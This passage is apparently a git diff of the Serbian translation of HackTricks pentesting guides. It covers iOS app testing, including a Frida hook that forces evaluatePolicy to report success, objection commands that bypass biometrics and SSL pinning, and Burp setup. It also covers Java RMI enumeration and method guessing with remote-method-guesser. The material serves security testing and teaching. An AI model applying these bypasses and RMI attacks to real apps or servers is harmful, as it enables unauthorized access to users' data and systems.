stranici](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostupna je tehnika za prevazilaženje mehanizma **LocalAuthentication**. Srž ovog pristupa uključuje korišćenje **Fride** za manipulaciju funkcije `evaluatePolicy`, osiguravajući da uvek daje rezultat `True`, bez obzira na stvarni uspeh autentikacije. Ovo je posebno korisno za zaobilaženje neispravnih biometrijskih autentikacionih procesa. -Za aktiviranje ovog zaobilaska, koristi se sledeća komanda: +Za aktiviranje ovog bypass-a, koristi se sledeća komanda: ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -986,9 +988,9 @@ dispatch_async(dispatch_get_main_queue(), ^{ } } ``` -Za postizanje **bypass**-a lokalne autentikacije, napisan je Frida skript. Ova skripta cilja na proveru **evaluatePolicy**, presrećući njen povratni poziv kako bi se osiguralo da vraća **success=1**. Menjanjem ponašanja povratnog poziva, provera autentikacije efikasno se zaobilazi. +Za postizanje **bypass**-a lokalne autentikacije, napisan je Frida skript. Ovaj skript cilja proveru **evaluatePolicy**, presrećući njen povratni poziv kako bi se osiguralo da vraća **success=1**. Menjanjem ponašanja povratnog poziva, provera autentikacije efikasno se zaobilazi. -Skripta ispod je ubačena kako bi se izmenio rezultat metode **evaluatePolicy**. Menja rezultat povratnog poziva kako bi uvek pokazivao uspeh. +Skript ispod je ubačen kako bi se izmenio rezultat metode **evaluatePolicy**. Menja rezultat povratnog poziva kako bi uvek pokazivao uspeh. ```swift // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/ if(ObjC.available) { @@ -1028,7 +1030,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i [ios-universal-links.md](ios-universal-links.md) {% endcontent-ref %} -### Deljenje UIActivity +### UIActivity Deljenje {% content-ref url="ios-uiactivity-sharing.md" %} [ios-uiactivity-sharing.md](ios-uiactivity-sharing.md) @@ -1058,9 +1060,9 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i [ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md) {% endcontent-ref %} -## Komunikacija putem Mreže +## Komunikacija Mreže -Važno je proveriti da li se komunikacija odvija **bez enkripcije** i takođe da li aplikacija pravilno **validira TLS sertifikat** servera.\ +Važno je proveriti da li se neka komunikacija odvija **bez enkripcije** i takođe da li aplikacija pravilno **validira TLS sertifikat** servera.\ Da biste proverili ovakve probleme, možete koristiti proxy poput **Burp**: {% content-ref url="burp-configuration-for-ios.md" %} @@ -1074,37 +1076,37 @@ Da biste proverili ovaj problem koristeći Burp, nakon što poverite Burp CA na ### Pinovanje Sertifikata -Ako aplikacija pravilno koristi SSL Pinning, tada će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Prilikom testiranja aplikacije **ovo može biti problem jer će Burp poslužiti svoj sertifikat.**\ +Ako aplikacija pravilno koristi SSL Pinovanje, tada će aplikacija raditi samo ako je sertifikat onaj koji se očekuje. Prilikom testiranja aplikacije **ovo može biti problem jer će Burp poslužiti svoj sertifikat.**\ Da biste zaobišli ovu zaštitu unutar jailbroken uređaja, možete instalirati aplikaciju [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) ili instalirati [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) -Takođe možete koristiti `ios sslpinning disable` iz **objection-a** +Takođe možete koristiti `ios sslpinning disable` iz **objection-a**. ## Razno * U **`/System/Library`** možete pronaći okvire instalirane u telefonu koje koriste sistemski programi * Aplikacije instalirane od strane korisnika iz App Store-a nalaze se unutar **`/User/Applications`** -* A **`/User/Library`** sadrži podatke sačuvane od strane aplikacija na nivou korisnika -* Možete pristupiti **`/User/Library/Notes/notes.sqlite`** da pročitate beleške sačuvane unutar aplikacije. +* **`/User/Library`** sadrži podatke koje čuvaju aplikacije na nivou korisnika +* Možete pristupiti **`/User/Library/Notes/notes.sqlite`** da biste pročitali beleške sačuvane unutar aplikacije. * Unutar fascikle instalirane aplikacije (**`/User/Applications//`**) možete pronaći neke zanimljive datoteke: - * **`iTunesArtwork`**: Ikona korišćena od strane aplikacije + * **`iTunesArtwork`**: Ikona koju koristi aplikacija * **`iTunesMetadata.plist`**: Informacije o aplikaciji korišćene u App Store-u * **`/Library/*`**: Sadrži postavke i keš. U **`/Library/Cache/Snapshots/*`** možete pronaći snimak izvršen aplikaciji pre nego što je poslata u pozadinu. -### Vruće Popravljanje/Ažuriranje +### Brzo Popravljanje/Ažuriranje -Razvojni timovi mogu daljinski **popraviti sve instalacije svoje aplikacije odmah** bez potrebe da ponovo podnose aplikaciju App Store-u i čekaju odobrenje.\ +Programeri mogu daljinski **popraviti sve instalacije svoje aplikacije odmah** bez potrebe da ponovo podnesu aplikaciju App Store-u i čekaju odobrenje.\ Za tu svrhu se obično koristi [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ali postoje i druge opcije poput [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ -**Ovo je opasan mehanizam koji bi mogao biti zloupotrebljen od strane zlonamernih SDK-ova, stoga se preporučuje proveriti koji metod se koristi za automatsko ažuriranje (ako postoji) i testirati ga.** Možete pokušati da preuzmete prethodnu verziju aplikacije u tu svrhu. +**Ovo je opasna mehanizam koji bi mogao biti zloupotrebljen od strane zlonamernih SDK-ova, stoga se preporučuje proveriti koji metod se koristi za automatsko ažuriranje (ako postoji) i testirati ga.** Možete pokušati da preuzmete prethodnu verziju aplikacije u tu svrhu. ### Treće Strane -Značajan izazov sa **SDK-ovima trećih strana** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Razvojni timovi se suočavaju sa izborom: ili integrišu SDK i prihvate sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme privatnosti, ili potpuno odustanu od njegovih prednosti. Često, razvojni timovi nisu u mogućnosti da zakrpe ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje u zajednici, neki od njih mogu početi da sadrže zlonamerni softver. +Značajan izazov sa **SDK-ovima trećih strana** je **nedostatak granularne kontrole** nad njihovim funkcionalnostima. Programeri se suočavaju sa izborom: ili integrišu SDK i prihvate sve njegove funkcije, uključujući potencijalne sigurnosne ranjivosti i probleme privatnosti, ili potpuno odustanu od njegovih prednosti. Često, programeri nisu u mogućnosti da poprave ranjivosti unutar ovih SDK-ova sami. Štaviše, kako SDK-ovi stiču poverenje u zajednici, neki od njih mogu početi da sadrže zlonamerni softver. -Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje reklama ili poboljšanja korisničkog iskustva. Međutim, ovo uvodi rizik jer razvojni timovi možda nisu potpuno svesni koda koji se izvršava od strane ovih biblioteka, što može dovesti do potencijalnih rizika po privatnost i sigurnost. Važno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da osetljivi podaci nisu izloženi. +Usluge koje pružaju SDK-ovi trećih strana mogu uključivati praćenje ponašanja korisnika, prikazivanje reklama ili poboljšanja korisničkog iskustva. Međutim, to uvodi rizik jer programeri možda nisu potpuno svesni koda koji se izvršava od strane ovih biblioteka, što dovodi do potencijalnih rizika po privatnost i sigurnost. Važno je ograničiti informacije koje se dele sa uslugama trećih strana na ono što je neophodno i osigurati da nijedni osetljivi podaci nisu izloženi. -Implementacija usluga trećih strana obično dolazi u dva oblika: samostalna biblioteka ili potpuni SDK. Da bi se zaštitila privatnost korisnika, svi podaci koji se dele sa ovim uslugama trebalo bi da budu **anonimizovani** kako bi se sprečilo otkrivanje lično identifikacionih informacija (PII). +Implementacija usluga trećih strana obično dolazi u dva oblika: samostalna biblioteka ili potpuni SDK. Da bi se zaštitila privatnost korisnika, svi podaci podeljeni sa ovim uslugama treba da budu **anonimizovani** kako bi se sprečilo otkrivanje lično identifikacionih informacija (PII). -Da bi se identifikovale biblioteke koje aplikacija koristi, može se koristiti komanda **`otool`**. Ovaj alat treba pokrenuti protiv aplikacije i svake deljene biblioteke koje koristi kako bi se otkrile dodatne biblioteke. +Da bi se identifikovale biblioteke koje aplikacija koristi, može se koristiti komanda **`otool`**. Ovaj alat treba pokrenuti protiv aplikacije i svake deljene biblioteke koju koristi kako bi se otkrile dodatne biblioteke. ```bash otool -L ``` @@ -1126,7 +1128,7 @@ otool -L * [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) * [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) * [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS besplatni kurs ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS besplatni kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) * [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) @@ -1136,10 +1138,10 @@ otool -L * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -1154,6 +1156,6 @@ Drugi načini podrške HackTricks-u: * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index 770987d27..87fc4fb4a 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,19 +14,19 @@ Drugi načini podrške HackTricks-u: -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete tokove rada** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Instaliranje Burp Sertifikata na iOS uređajima -Za analizu sigurnog web saobraćaja i SSL pinning na iOS uređajima, Burp Suite se može koristiti ili putem **Burp Mobile Assistant**-a ili putem ručne konfiguracije. U nastavku je sažet vodič za oba metoda: +Za analizu sigurnog web saobraćaja i SSL pinning na iOS uređajima, Burp Suite se može koristiti ili putem **Burp Mobile Assistant** ili putem ručne konfiguracije. U nastavku je sažet vodič za oba metoda: -### Automatizovana instalacija pomoću Burp Mobile Assistant-a +### Automatizovana instalacija pomoću Burp Mobile Assistant **Burp Mobile Assistant** pojednostavljuje proces instalacije Burp sertifikata, konfiguracije proksi servera i SSL Pinning-a. Detaljno uputstvo možete pronaći na [zvaničnoj dokumentaciji PortSwigger-a](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing). @@ -49,16 +49,16 @@ Za korisnike sa jailbroken uređajima, SSH preko USB-a (putem **iproxy**) nudi m ```bash iproxy 2222 22 ``` -2. **Udaljeno prosleđivanje porta:** Prosledite port 8080 uređaja sa iOS-om na localhost računara kako biste omogućili direktni pristup interfejsu Burp-a. +2. **Udaljeno prosleđivanje porta:** Prosledite port 8080 uređaja iOS uređaja na localhost računara kako biste omogućili direktni pristup interfejsu Burp-a. ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -3. **Globalno podešavanje proksija:** Na kraju, konfigurišite Wi-Fi podešavanja uređaja sa iOS-om da koriste ručni proksi, usmeravajući sav web saobraćaj kroz Burp. +3. **Globalno podešavanje proksija:** Na kraju, konfigurišite Wi-Fi podešavanja iOS uređaja da koriste ručni proksi, usmeravajući sav web saobraćaj kroz Burp. -### Potpuno praćenje/snifiranje mreže +### Potpuno praćenje/snižavanje mreže -Efikasno praćenje saobraćaja uređaja koji nije HTTP može se sprovoditi korišćenjem **Wireshark**-a, alata sposobnog za hvatanje svih oblika podataka. Za iOS uređaje, praćenje saobraćaja u realnom vremenu olakšano je kreiranjem Remote Virtual Interface-a, proces detaljno opisan u [ovom Stack Overflow postu](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Pre početka, instalacija **Wireshark**-a na macOS sistemu je preduslov. +Efikasno praćenje saobraćaja uređaja koji nije HTTP može se sprovoditi korišćenjem **Wireshark**-a, alata sposobnog za hvatanje svih oblika podataka. Za iOS uređaje, praćenje saobraćaja u realnom vremenu omogućeno je kreiranjem Remote Virtual Interface-a, proces detaljno opisan u [ovom Stack Overflow postu](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Pre početka, instalacija **Wireshark**-a na macOS sistemu je preduslov. Postupak uključuje nekoliko ključnih koraka: @@ -103,11 +103,11 @@ Koraci za konfigurisanje Burp-a kao proxy-ja: * Kliknite na _**Ok**_ i zatim na _**Apply**_ -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ -Dobijte pristup danas: +Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -117,7 +117,7 @@ Dobijte pristup danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/1099-pentesting-java-rmi.md b/network-services-pentesting/1099-pentesting-java-rmi.md index 66652c685..94bba9a98 100644 --- a/network-services-pentesting/1099-pentesting-java-rmi.md +++ b/network-services-pentesting/1099-pentesting-java-rmi.md @@ -6,15 +6,15 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` -Obično su samo podrazumevane _Java RMI_ komponente (RMI registar i Aktivacioni sistem) vezane za uobičajene portove. _Udaljeni objekti_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove, kao što je prikazano u prethodnom izlazu. +Obično su samo podrazumevane _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezane za uobičajene portove. _Udaljeni objekti_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove, kao što je prikazano u prethodnom izlazu. -_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebalo bi dalje istražiti. +_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ servisa. Ako naiđete na nepoznat ssl servis na uobičajenom _RMI_ portu, trebalo bi dalje istražiti. ## RMI Komponente -Da bismo to pojednostavili, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. To otvara _TCP_ port na kojem klijenti mogu da se povežu i pozivaju metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoje nekoliko izazova koje _Java RMI_ mora da reši: +Da bismo to pojednostavili, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. To otvara _TCP_ port na kojem se klijenti mogu povezati i pozivati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoje nekoliko izazova koje _Java RMI_ mora rešiti: -1. Da bi prosledili poziv metode putem _Java RMI_, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta (ObjID je jedinstveni i nasumični identifikator koji se kreira kada je objekat dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu). -2. Udaljeni klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti sakupljeni smećem. +1. Da bi prosledili poziv metode putem _Java RMI_-ja, klijenti moraju znati IP adresu, slušajući port, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada je objekat dostupan na mreži. Potreban je jer _Java RMI_ dozvoljava više objekata da slušaju na istom _TCP_ portu). +2. Udaljeni klijenti mogu alocirati resurse na serveru pozivanjem metoda na izloženom objektu. _Java virtuelna mašina_ mora pratiti koje od ovih resursa su još uvek u upotrebi, a koje od njih mogu biti sakupljeni smećem. -Prvi izazov rešava _RMI registar_, koji je u osnovi servis za imenovanje za _Java RMI_. Sam _RMI registar_ takođe je _RMI servis_, ali implementisani interfejs i `ObjID` su fiksni i poznati svim _RMI_ klijentima. To omogućava _RMI_ klijentima da koriste _RMI_ registar samo znajući odgovarajući _TCP_ port. +Prvi izazov je rešen _RMI registrom_, koji je u osnovi servis za imenovanje za _Java RMI_. _RMI registar_ sam po sebi takođe je _RMI servis_, ali implementisani interfejs i `ObjID` su fiksni i poznati svim _RMI_ klijentima. To omogućava _RMI_ klijentima da koriste _RMI_ registar samo znajući odgovarajući _TCP_ port. -Kada programeri žele da njihovi _Java objekti_ budu dostupni unutar mreže, obično ih vezuju za _RMI registar_. Registar čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom (vezano ime). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registra_ odgovarajuće _vezano ime_, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je suštinski ista kao sa običnom _DNS_ uslugom. Sledeći prikazuje mali primer: +Kada programeri žele da njihovi _Java objekti_ budu dostupni unutar mreže, obično ih vezuju za _RMI registar_. _Registar_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, slušajući port, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom (_vezano ime_). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registra_ odgovarajuće _vezano ime_, a registar vraća sve potrebne informacije za povezivanje. Dakle, situacija je suštinski ista kao sa običnim _DNS_ servisom. Sledeći prikazuje mali primer: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; @@ -71,7 +71,7 @@ e.printStackTrace(); } } ``` -Drugi od pomenutih izazova rešava se preko _Distribuiranog sakupljača smeća_ (_DGC_). Ovo je još jedna _RMI usluga_ sa poznatom vrednošću `ObjID` i dostupna je na praktično svakom _RMI krajnjem tačkom_. Kada _RMI klijent_ počne da koristi _RMI uslugu_, šalje informaciju _DGC_-u da je odgovarajući _udaljeni objekat_ u upotrebi. _DGC_ zatim može pratiti broj referenci i može očistiti nekorišćene objekte. +Drugi od pomenutih izazova rešava se preko _Distribuiranog sakupljača smeća_ (_DGC_). Ovo je još jedna _RMI usluga_ sa dobro poznatom vrednošću `ObjID` i dostupna je na praktično svakom _RMI endpointu_. Kada _RMI klijent_ počne da koristi _RMI uslugu_, šalje informaciju _DGC_-u da je odgovarajući _udaljeni objekat_ u upotrebi. _DGC_ može pratiti broj referenci i može očistiti nekorišćene objekte. Zajedno sa zastarelim _Sistemom aktivacije_, ovo su tri podrazumevana komponente _Java RMI_-ja: @@ -79,11 +79,11 @@ Zajedno sa zastarelim _Sistemom aktivacije_, ovo su tri podrazumevana komponente 2. _Sistem aktivacije_ (`ObjID = 1`) 3. _Distribuirani sakupljač smeća_ (`ObjID = 2`) -Podrazumevane komponente _Java RMI_-ja poznate su kao vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama _Java_-ja. Sa perspektive napadača, ove podrazumevane komponente su interesantne, jer su implementirane poznate klase / interfejsi i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI usluge_. Da biste pozvali metod na _udaljenom objektu_, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa _RMI uslugom_. +Podrazumevane komponente _Java RMI_-ja poznate su kao vektori napada već neko vreme i postoje višestruke ranjivosti u zastarelim verzijama _Java_-ja. Sa perspektive napadača, ove podrazumevane komponente su interesantne, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI usluge_. Da biste pozvali metod na _udaljenom objektu_, morate unapred znati odgovarajući potpis metoda. Bez poznavanja postojećeg potpisa metoda, nema načina za komunikaciju sa _RMI uslugom_. ## Enumeracija RMI -[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je skener ranjivosti _Java RMI_-ja koji je sposoban da automatski identifikuje uobičajene _RMI ranjivosti_. Svaki put kada identifikujete _RMI_ krajnju tačku, trebalo bi da probate: +[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je skener ranjivosti _Java RMI_-ja koji je sposoban da automatski identifikuje uobičajene _RMI ranjivosti_. Svaki put kada identifikujete _RMI_ endpoint, trebalo bi da probate: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: @@ -143,9 +143,9 @@ $ rmg enum 172.17.0.2 9010 [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` -Izlaz akcije enumeracije je detaljnije objašnjen na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. Na osnovu rezultata, trebalo bi pokušati da potvrdite identifikovane ranjivosti. +Izlaz akcije enumeracije je detaljnije objašnjen na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. Na osnovu rezultata, trebalo bi da pokušate da potvrdite identifikovane ranjivosti. -Vrednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. Ovo može pomoći u identifikaciji drugih ranjivosti: +Vrednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] @@ -158,9 +158,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' ``` ## Bruteforcing Remote Methods -Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge i dalje mogu otkriti opasne funkcije. Štaviše, iako je komunikacija _RMI_ sa podrazumevanim komponentama zaštićena filterima za deserializaciju, kada se radi sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu na snazi. Poznavanje validnih potpisa metoda na _RMI_ uslugama stoga je od vrednosti. +Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge i dalje mogu otkriti opasne funkcije. Štaviše, iako je komunikacija _RMI_ prema podrazumevanim komponentama zaštićena filterima za deserializaciju, kada se radi sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu na snazi. Poznavanje validnih potpisa metoda na _RMI_ uslugama stoga je vredno. -Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _udaljenim objektima_. Ipak, moguće je probati potpise metoda pomoću alatki poput [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout): +Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _udaljenim objektima_. Ipak, moguće je probati potpise metoda alatima poput [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout): ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt @@ -225,7 +225,7 @@ Više informacija možete pronaći u ovim člancima: * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) -Pored pogađanja, takođe biste trebali pretražiti pretraživače ili _GitHub_ za interfejs ili čak implementaciju naiđenog _RMI_ servisa. _Bound name_ i ime implementovane klase ili interfejsa mogu biti od pomoći ovde. +Pored pogađanja, takođe treba da pretražite pretraživače ili _GitHub_ za interfejs ili čak implementaciju naiđenog _RMI_ servisa. _Bound name_ i ime implementovane klase ili interfejsa mogu biti korisni ovde. ## Poznati interfejsi @@ 